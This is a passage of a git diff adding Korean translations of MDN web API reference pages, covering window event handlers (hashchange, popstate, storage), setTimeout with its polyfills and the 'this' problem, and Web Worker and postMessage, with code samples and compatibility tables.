Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pageshow")}} event is raised.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("popstate")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.
+
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
+
An event handler for unhandled {{jsxref("Promise")}} rejection events.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.
+
+ +

Methods

+ +

This interface defines no method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'WindowEventHandlers')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windoweventhandlers', 'WindowEventHandlers')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. Added onlanguage since the {{SpecName("HTML5 W3C")}} snapshot.
{{SpecName("HTML5 W3C", "#windoweventhandlers", "WindowEventHandlers")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowEventHandlers (properties where on the target before it).
+ +

Browser compatibility

+ + + +

{{Compat("api.WindowEventHandlers")}}

+ +

See also

+ + diff --git a/files/ko/web/api/windoweventhandlers/onhashchange/index.html b/files/ko/web/api/windoweventhandlers/onhashchange/index.html new file mode 100644 index 0000000000..1a9f932360 --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/onhashchange/index.html @@ -0,0 +1,159 @@ +--- +title: WindowEventHandlers.onhashchange +slug: Web/API/WindowEventHandlers/onhashchange +tags: + - HTML-DOM + - Property + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onhashchange +--- +
+
{{APIRef("HTML DOM")}}
+ +
{{domxref("WindowEventHandlers")}} 믹스인의 WindowEventHandlers.onhashchange 속성은 
+
+ +

hashchange 이벤트를 처리하기 위한 {{domxref("EventHandler")}} 입니다.

+ +

hashchange 이벤트는 윈도우의 해시가 변경되면 시작됩니다. ( {{domxref("Window.location")}} 및 {{domxref("HTMLHyperlinkElementUtils.hash")}} 참조)

+ +

문법

+ +

event handler:

+ +
window.onhashchange = funcRef;
+
+ +

HTML event handler:

+ +
<body onhashchange="funcRef();">
+
+ +

event listener:

+ +

{{domxref("EventTarget.addEventListener()", "addEventListener()")}}를 사용하여 이벤트 리스너 추가하기

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

매개변수

+ +
+
funcRef
+
함수에 대한 참조.
+
+ +

예제

+ +

event handler 사용하기

+ +

This example uses an event handler (window.onhashchange) to check the new hash value whenever it changes. If it equals #cool-feature, the script logs a message to the console.

+ +
function locationHashChanged() {
+  if (location.hash === '#cool-feature') {
+    console.log("You're visiting a cool feature!");
+  }
+}
+
+window.onhashchange = locationHashChanged;
+
+ +

Using an event listener

+ +

이 예제는 이벤트 리스너를 사용하여 해시가 변경 될 때마다 콘솔에 알림표시합니다.

+ +
function hashHandler() {
+  console.log('The hash has changed!');
+}
+
+window.addEventListener('hashchange', hashHandler, false);
+ +

Overriding the hash

+ +

이 함수는 새로운 해시를 동적으로 설정하여 임의로 두 값 중 하나로 설정합니다.

+ +
function changeHash() {
+  location.hash = (Math.random() > 0.5) ? 'location1' : 'location2';
+}
+
+ +

hashchange 이벤트

+ +

hashchange 이벤트에는 다음과 같은 필드가 있습니다:

+ + + + + + + + + + + + + + + + + + + +
FieldTypeDescription
newURL {{gecko_minversion_inline("6.0")}}DOMString탐색할 새로운 URL입니다.
oldURL {{gecko_minversion_inline("6.0")}}DOMString탐색했던 이전의 URL입니다.
+ +

제2의 해결책을 위한 event.newURL 와 event.oldURL

+ +
//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성

+ +

{{Compat("api.WindowEventHandlers.onhashchange")}}

+ +

See also

+ + diff --git a/files/ko/web/api/windoweventhandlers/onpopstate/index.html b/files/ko/web/api/windoweventhandlers/onpopstate/index.html new file mode 100644 index 0000000000..4da830dbe2 --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/onpopstate/index.html @@ -0,0 +1,57 @@ +--- +title: WindowEventHandlers.onpopstate +slug: Web/API/WindowEventHandlers/onpopstate +translation_of: Web/API/WindowEventHandlers/onpopstate +--- +
{{APIRef}} {{gecko_minversion_header("2")}}
+ +

요약

+ +

window의 popstate 이벤트 핸들러

+ +

같은 document에 관한 두개의 히스토리 엔트리에 변화가 일어날 때마다, popstate event가 window 객체에 붙게 된다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 된다.

+ +

history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의한다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. 그리고 그 이벤트는 같은 document에서 두 히스토리 엔트리 간의 이동이 있을 때만 발생이 된다.

+ +

브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리한다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킨다. 하지만 Firefox 는 그렇지 않다.

+ +

문법

+ +
window.onpopstate = funcRef;
+
+ + + +

popstate 이벤트

+ +

예시를 보자, 다음의 코드를 실행하는 http://example.com/example.html의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.

+ +
window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

원래의 히스토리 엔트리인 (http://example.com/example.html) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.

+ +

Specification

+ + + +

See also

+ + diff --git a/files/ko/web/api/windoweventhandlers/onstorage/index.html b/files/ko/web/api/windoweventhandlers/onstorage/index.html new file mode 100644 index 0000000000..8490ff6119 --- /dev/null +++ b/files/ko/web/api/windoweventhandlers/onstorage/index.html @@ -0,0 +1,64 @@ +--- +title: WindowEventHandlers.onstorage +slug: Web/API/WindowEventHandlers/onstorage +tags: + - API + - Event Handler + - Property + - Reference + - Web Storage + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onstorage +--- +
{{APIRef}}
+ +

{{domxref("WindowEventHandlers")}} 믹스인의 onstorage 속성은 storage 이벤트를 처리하는 {{domxref("EventHandler")}}입니다.

+ +

storage 이벤트는 다른 문서에서 저장소를 변경했을 때 발생합니다.

+ +

구문

+ +
 window.onstorage = functionRef;
+ +

+ +

functionRef는 함수 이름 혹은 함수 표현식으로, 단일 매개변수로써 {{domxref("StorageEvent")}}를 받습니다.

+ +

예제

+ +

다음 예제는 다른 문서에서 저장소 키를 바꿀 때마다 메시지를 기록합니다.

+ +
window.onstorage = function(e) {
+  console.log('The ' + e.key +
+    ' key has been changed from ' + e.oldValue +
+    ' to ' + e.newValue + '.');
+};
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-window-onstorage','onstorage')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.WindowEventHandlers.onstorage")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/windowtimers/settimeout/index.html b/files/ko/web/api/windowtimers/settimeout/index.html new file mode 100644 index 0000000000..7b338a83fa --- /dev/null +++ b/files/ko/web/api/windowtimers/settimeout/index.html @@ -0,0 +1,429 @@ +--- +title: WindowTimers.setTimeout() +slug: Web/API/WindowTimers/setTimeout +tags: + - setTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +
{{APIRef("HTML DOM")}}
+ +

타이머가 만료된 뒤 함수나 지정된 코드를 실행하는 타이머를 설정합니다.

+ +

문법

+ +
var timeoutID = window.setTimeout(func[, delay, param1, param2, ...]);
+var timeoutID = window.setTimeout(code[, delay]);
+window.setTimeout(function, milliseconds);
+
+ +

매개변수

+ +
+
func
+
{{jsxref("function")}}이 타이머가 만료된 뒤 실행됩니다.
+
code
+
선택적 구문으로 함수 대신에 문자열을 넣을 수 있는데, 이것은 타이머가 만료된 뒤 해석되고 실행됩니다.
+ 이 구문은 {{jsxref("Global_Objects/eval", "eval()")}}을 사용하는 것과 같은 보안 위험성을 이유로 권장되지 않습니다.
+
delay {{optional_inline}}
+
타이머가 지정된 함수나 코드를 실행시키기 전에 기다려야할 ms(1000분의 1초) 단위의 시간입니다.
+ 만약 이 매개변수를 생략하면, 0이 값으로 사용됩니다. 실제 지연시간은 더 길어질 수 있습니다;
+ 아래 {{anch("Reasons for delays longer than specified")}}를 참고하세요.
+
param1, ..., paramN {{optional_inline}}
+
타이머가 만료되고 {{anch("func")}}에 전달되는 추가적인 매개변수들입니다.
+
+ +
+

Internet Explorer 9 이하에서는 함수에 추가적인 매개변수들을 전달하는 기능이 동작하지 않습니다.
+ 만약 브라우저에서 이 기능을 사용하고 싶다면, {{anch("polyfill")}}을 사용하세요. (Callback arguments를 봐주세요)

+
+ +

반환 값

+ +

반환되는 timeoutID는 숫자이고, setTimeout()을 호출하여 만들어진 타이머를 식별할 수 있는 0이 아닌 값 입니다;
+ 이 값은 타이머를 취소시키기 위해 {{domxref("WindowTimers.clearTimeout()")}}에 전달할 수도 있습니다.

+ +

setTimeout()과 {{domxref("WindowTimers.setInterval", "setInterval()")}}는 같은 ID 공간을 공유하기 때문에, clearTimeout()과 {{domxref("WindowTimers.clearInterval", "clearInterval()")}} 둘 중 어느 것을 사용해도 기술적으로 동일하게 동작합니다.
+ 하지만 명확성을 위해, 코드를 유지보수할 때 혼란을 피하기 위해 항상 일치시켜야 합니다.

+ +

예제

+ +

다음 예제는 웹 페이지에 2개의 간단한 버튼을 설정하고 setTimeout()과 clearTimeout()에 연결합니다.
+ 첫 번째 버튼이 눌려지면 2초 뒤에 호출되는 타임아웃이 설정되고 clearTimeout()에 사용되는 ID가 저장됩니다.
+ 두 번째 버튼을 누름으로써 당신은 선택적으로 이 타임아웃을 취소할 수 있습니다.

+ +

HTML

+ +
<p>Live Example</p>
+<button onclick="delayedAlert();">Show an alert box after two seconds</button>
+<p></p>
+<button onclick="clearAlert();">Cancel alert before it happens</button>
+
+ +

JavaScript

+ +
var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("That was really slow!");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+
+ +

결과

+ +

{{EmbedLiveSample('Example')}}
+ clearTimeout() 예제도 봐주세요.

+ +

Polyfill

+ +

하나 이상의 매개변수를 콜백 함수에 넘겨야 하는데, setTimeout() 또는 setInterval()을 사용하여 추가적인 매개변수를 보내는 것을 브라우저에서 지원하지 않는다면(e.g. Internet Explorer 9 이하), HTML5 표준 매개변수 전달 기능을 사용 가능하게 하는 이 polyfill을 넣을 수 있습니다. 그저 아래 코드를 스크립트를 상단에 작성해주시면 됩니다.

+ +
/*\
+|*|
+|*|  임의의 매개변수를 자바스크립트 타이머의 콜백함수에 전달하기 위한 Polyfill (HTML5 표준 명세).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+
+ +

IE

+ +

IE9 이하를 포함하는 모든 모바일/데스크톱 브라우저에서 자바스크립트를 남용하지 않는 완벽한 해결책으로 , JavaScript 조건부 주석을 사용할 수 있습니다:

+ +
/*@cc_on
+  // conditional IE < 9 only fix
+  @if (@_jscript_version <= 9)
+  (function(f){
+     window.setTimeout=f(window.setTimeout);
+     window.setInterval=f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+
+ +

혹은 IE HTML 조건부 기능을 기반으로 깔끔하게 접근할 수 있습니다:

+ +
<!--[if lte IE 9]><script>
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+</script><![endif]-->
+
+ +

예시

+ +

다른 해결책으로는 익명 함수를 callback으로 호출하여 사용할 수 있으나, 이 방법은 비용이 더 비쌉니다.

+ +
var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000);
+
+ +

위 예제는 arrow function으로도 작성하실 수 있습니다.

+ +
var intervalID = setTimeout(() => { myFunc("one", "two", "three"); }, 1000);
+
+ +

다른 하나는 function's bind를 이용하는 것 입니다.

+ +
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+
+ +

"this" 문제

+ +

setTimeout()에 매개변수(혹은 다른 함수)를 전달할 때, 당신의 기대와는 다르게 this의 값이 호출될 것이다. 해당 이슈에 대한 자세한 사항은 JavaScript reference를 참고해주세요.

+ +

설명

+ +

setTimeout()에 의해 실행된 코드는 별도의 실행 컨텍스트에서 setTimeout이 호출된 함수로 호출됩니다.  호출된 함수에 대해서는 this 키워드를 설정하는 일반적인 규칙이 적용되며, this를 설정 혹은 할당하지 않은 경우, non-strict 모드에서 전역(혹은 window) 객체, strict모드에서 undefined를 기본 값으로 합니다. 다음 예제를 봐주세요: 

+ +
myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+ +

위와 같이 동작하는 이유는 myMethod 호출될 때, this는 myArray로 설정되므로, 함수 내에서의 this[속성]은 myArray[속성]와 같습니다. 하지만, 다음 예제를 보면:

+ +
setTimeout(myArray.myMethod, 1000); // 1초 뒤 "[Window 객체]" 출력
+setTimeout(myArray.myMethod, 1500, "1"); // 1.5초 뒤 "undefined" 출력
+ +

myArray.myMethod 함수는 setTimeout에 전달되고, 호출될 때 this는 설정되어 있지 않아 window 객체를 기본값으로 합니다. forEach, reduce 등 Array 메서드 같이 this를 매개변수로 넘길 수 있는 옵션 또한 없습니다. 그리고 아래에서 보다시피, call 사용해 this를 설정하는 것도 동작하지 않습니다.

+ +
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+
+ +

가능한 해결책

+ +

일반적인 해결책은 this 설정이 필요한 곳을 함수로 감싸는 것(Wrapper Function) 입니다:

+ +
setTimeout(function(){myArray.myMethod()}, 2000); // 2초 뒤"zero,one,two" 출력
+setTimeout(function(){myArray.myMethod('1')}, 2500); // 2.5초 뒤"one" 출력
+ +

화살표 함수(Arrow Function) 역시 가능한 대안입니다:

+ +
setTimeout(() => {myArray.myMethod()}, 2000); // 2초 뒤 "zero,one,two" 출력
+setTimeout(() => {myArray.myMethod('1')}, 2500); // 2.5초 뒤 "one" after 2.5 출력
+ +

this 문제를 해결하는 또다른 방법은 전역함수 setTimeout()과 setInterval()를 this 객체를 전달할 수 있는 전역함수로 대체하고 Function.prototype.call을 사용하여 콜백을 설정합니다:

+ +
// Enable setting 'this' in JavaScript timers
+
+var __nativeST__ = window.setTimeout,
+    __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this,
+      aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this,
+      aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
위 2개의 대안들은 IE의 타이 콜백함수에 임의의 매개변수를 전달하는 HTML5 표준 또한 가능하게 합니다.
+ +

새로운 기능 테스트:

+ +
myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+
+ +
JavaScript 1.8.5은 주어진 함수에 대한 모든 호출의 this 값을 설정하기 위한 Function.prototype.bind() 메서드를 도입하였습니다. 이렇게 하면 wrapper 함수를 사용하지 않고 콜백에 this 값을 설정할 수 있습니다.
+ +

bind()를 사용한 예제:

+ +
myArray = ["zero", "one", "two"];
+myBoundMethod = (function (sProperty) {
+    console.log(arguments.length > 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+
+ +

참고

+ +

Timeout은 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}을 사용하면 취소됩니다. 함수를 반복해서 호출해야 한다면 (e.g., N 밀리초마다), {{domxref("WindowOrWorkerGlobalScope.setInterval()")}} 사용을 고려해보세요.

+ +

setTimeout()을 호출한 쓰레드가 종료될 때까지 함수나 코드 조각이 실행될 수 없다는 점에 유의해야합니다. 예를들어:

+ +
function foo(){
+  console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');
+ +

콘솔에 이렇게 쓰여질겁니다:

+ +
After setTimeout
+foo has been called
+ +

그 이유는 setTimeout가 지연시간 0으로 호출되었지만, queue에 배치되어 다음 기회에 실행되도록 예정되기 때문입니다. 현재 실행중인 코드는 queue에 있는 함수들이 실행되기 전에 완료되고, 실행 순서가 예상과 다를 수 있습니다.

+ +

문자열을 넘길경우

+ +

 setTimeout() 함수대신 문자열을 넘기면 eval 사용했을 때와 같은 위험성을 가집니다.

+ +
// 권장
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// 비권장
+window.setTimeout("alert('Hello World!');", 500);
+
+ +

setTimeout에 전달된 문자열은 전역 context에서 해석하므로, setTimeout()이 호출된 로컬 context의 Symbol은 문자열이 코드로 해석될 때 사용할 수 없습니다.

+ +

지정된 것보다 더 오래 지연되는 이유

+ +

타임아웃이 예상보다 더 늦게까지 지연되는 데는 여러가지 이유가 있습니다. 이 문단에서는 일반적인 이유에 대해서 설명합니다.

+ +

중첩된 타임아웃이 4ms 이하일 경우

+ +

역사적으로 브라우저들은 setTimeout() "clamping"을 구현했습니다: "최소 지연" 한계보다 작은 지연을 가진 setTimeout() 호출은 최소 지연을 사용하도록 강제됩니다.

+ +

실제로, 4ms는 HTML5 스펙에 명시되어 있고 2010년 이후에 출시된 브라우저들은 일관성을 유지하고 있습니다. {{geckoRelease("5.0")}} 이전에 출시된 브라우저들은, 타임아웃(중첩 5이상)의 최소 지연시간은 10ms였습니다.

+ +

최신 브라우저에서 0ms 타임아웃을 구현하려면, 이곳에 설명된 {{domxref("window.postMessage()")}}를 사용할 수 있습니다.

+ +

비활성 탭에서 타임아웃이1000ms에 여러 번 일어날 경우

+ +

부하와 배터리 사용양을 줄이기 위해서, 비활성화 탭들에서 타임아웃이 1초에 여러번 일어나지 않도록 "clamping" 됩니다.

+ +

Firefox는 5버전부터 이 동작을 구현했습니다. ({{bug(633421)}}참고, 1000ms 상수는  dom.min_background_timeout_value 설정을 통해 수정할 수 있습니다)
+ Chrome은  11버전부터 구현했습니다 (crbug.com/66078).

+ +

Android용 Firefox는 {{bug(736602)}} 이후 버전 14부터 백그라운드 탭에 15분의 타임아웃을 사용하고, 완전히 unload도 할 수 있습니다.

+ +

타임아웃 지연

+ +

"clamping"과 더불어, 타임아웃은 다른 작업들로 인해 바쁜 페이지에서 늦게 실행될 수 있습니다.

+ +

최대 지연 값

+ +

Internet Explorer, Chrome, Safari, and Firefox 포함하는 브라우저들은 내부적으로 32-bit 부호있는 정수로 지연 값을 저장합니다. 이로 인해 2147483647보다 더 큰 지연을 사용할 때 정수 오버플로우가 발생하여, 타임아웃이 즉시 실행됩니다.

+ +

사양

+ + + + + + + + + + + + + + +
사양상태주석
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

지원 브라우저

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능ChromeFirefox (Gecko)Internet ExplorerOperaSafari
기본1.0{{CompatGeckoDesktop("1")}}4.04.01.0
Callback 매개변수 지원[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
기본1.01.0{{CompatGeckoMobile("1")}}6.06.01.0
Callback 매개변수 지원[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 첫번째 form에서 매개변수를 지원하는지에 대한 여부.

+ +

더 알아보기

+ + diff --git a/files/ko/web/api/worker/index.html b/files/ko/web/api/worker/index.html new file mode 100644 index 0000000000..7eb924f469 --- /dev/null +++ b/files/ko/web/api/worker/index.html @@ -0,0 +1,129 @@ +--- +title: Worker +slug: Web/API/Worker +tags: + - API + - DOM + - Interface + - JavaScript + - Reference + - Web Workers + - Worker + - 워커 + - 웹 워커 +translation_of: Web/API/Worker +--- +
{{APIRef("Web Workers API")}}
+ +

Web Workers API Worker 인터페이스는 스크립트로 생성하고, 생성자와 메시지로 통신하는 백그라운드 작업을 나타냅니다. 워커의 생성은 Worker("path/to/worker/script") 생성자를 통해 할 수 있습니다.

+ +

워커는 부모 페이지와 같은 {{glossary("origin", "출처")}}에 호스팅 된 다른 워커를 생성할 수 있습니다. (참고: WebKit은 아직 중첩 워커를 구현하지 않았습니다.)

+ +

Worker 내에서 사용할 수 있는 인터페이스와 함수는 제한돼있습니다. 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 통신을 할 수 있지만, 응답의 responseXMLchannel 특성은 항상 {{jsxref("null")}}입니다. (fetch는 이러한 제한 없이 사용할 수 있습니다.)

+ +

생성자

+ +
+
{{domxref("Worker.Worker", "Worker()")}}
+
주어진 URL의 스크립트를 실행하는 전용 웹 워커를 생성합니다. Blob URL도 사용할 수 있습니다.
+
+ +

속성

+ +

부모 {{domxref("EventTarget")}}에서 속성을 상속하고, {{domxref("AbstractWorker")}}의 속성을 구현합니다.

+ +

이벤트 처리기

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
error 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다. {{domxref("AbstractWorker")}}에서 상속합니다.
+
{{domxref("Worker.onmessage")}}
+
message 유형의 {{domxref("MessageEvent")}}가 워커로 확산되면, 즉 {{domxref("DedicatedWorkerGlobalScope.postMessage")}}를 통해 워커에서 부모 문서로 메시지를 전송하면 호출할 {{domxref("EventListener")}}입니다. 메시지는 {{domxref("MessageEvent.data", "data")}} 속성에 들어있습니다.
+
{{domxref("Worker.onmessageerror")}}
+
{{event("messageerror")}} 이벤트가 발생하면 호출할 {{domxref("EventHandler")}}입니다.
+
+ +
+
+ +

메서드

+ +

부모 {{domxref("EventTarget")}}에서 메서드를 상속하고, {{domxref("AbstractWorker")}}의 메서드를 구현합니다.

+ +
+
{{domxref("Worker.postMessage()")}}
+
워커의 내부 범위로 메시지를 전송합니다. 메시지는 임의의 JavaScript 객체입니다.
+
{{domxref("Worker.terminate()")}}
+
워커를 즉시 종료합니다. 현재 워커가 연산을 진행 중이더라도 완료를 기다리지 않습니다. {{domxref("ServiceWorker")}} 인스턴스는 이 메서드를 지원하지 않습니다.
+
+ +

이벤트

+ +
+
message
+
워커의 부모가 워커로부터 메시지를 수신했을 대 발생합니다.
+ onmessage 속성에서도 사용 가능합니다.
+
messageerror
+
Worker 객체가 역직렬화 할 수 없는 객체를 메시지로 받았을 대 발생합니다.
+ onmessageerror 속성에서도 사용 가능합니다.
+
+ +
+
rejectionhandled
+
{{jsxref("Promise")}}가 거부될 때마다 발생합니다. 거부를 처리할 처리기의 존재 유무는 고려하지 않습니다.
+ onrejectionhandled 속성에서도 사용 가능합니다.
+
unhandledrejection
+
{{jsxref("Promise")}}가 거부됐는데, 처리할 처리기가 없을 때 발생합니다.
+ onunhandledrejection 속성에서도 사용 가능합니다.
+
+ +

예제

+ +

다음 코드 조각은 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 Worker 객체를 생성한 후, 그 Worker를 사용합니다.

+ +
var myWorker = new Worker("worker.js");
+var first = document.querySelector('#number1');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

전체 예제를 보시려면 저희의 simple-web-worker 예제 (라이브)를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#worker", "Worker")}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +

워커의 종류마다 지원 상황이 다릅니다. 각각의 페이지를 방문해 더 자세히 알아보세요.

+ + + +

{{Compat("api.Worker")}}

+ +

교차 출처에서의 워커 오류 동작

+ +

초기 명세에서는 교차 출처 워커 스크립트를 불러오려 시도하면 SecurityError가 발생했습니다. 요즘은 오류 대신 {{event("error")}} 이벤트가 발생합니다. 이 글에서 교차 출처 처리 방법을 알아보세요.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/worker/postmessage/index.html b/files/ko/web/api/worker/postmessage/index.html new file mode 100644 index 0000000000..5e6053407d --- /dev/null +++ b/files/ko/web/api/worker/postmessage/index.html @@ -0,0 +1,205 @@ +--- +title: Worker.postMessage() +slug: Web/API/Worker/postMessage +translation_of: Web/API/Worker/postMessage +--- +

{{APIRef("Web Workers API")}}

+ +

{{domxref("Worker")}} interface의 메서드, postMessage()Worker 자신의 내부 영역으로 메시지를 전달합니다. 이 메서드는 Worker 자신에게 보낼 하나의 매개변수를 받습니다. 매개변수로 들어갈 데이터는 순환 참조를 포함하는 structured clone algorithm에 의해 다루어지는 JavaScript 객체를 포함에 어떤 값이든 들어갈 수 있습니다.

+ +

 Worker는 정보를 다시 {{domxref("DedicatedWorkerGlobalScope.postMessage")}} 메서드를 사용해 받은 정보를 산란시키는 스레드로 전달해줄 수 있다.

+ +

Syntax

+ +
myWorker.postMessage(aMessage, transferList);
+ +

Parameters

+ +
+
aMessage
+
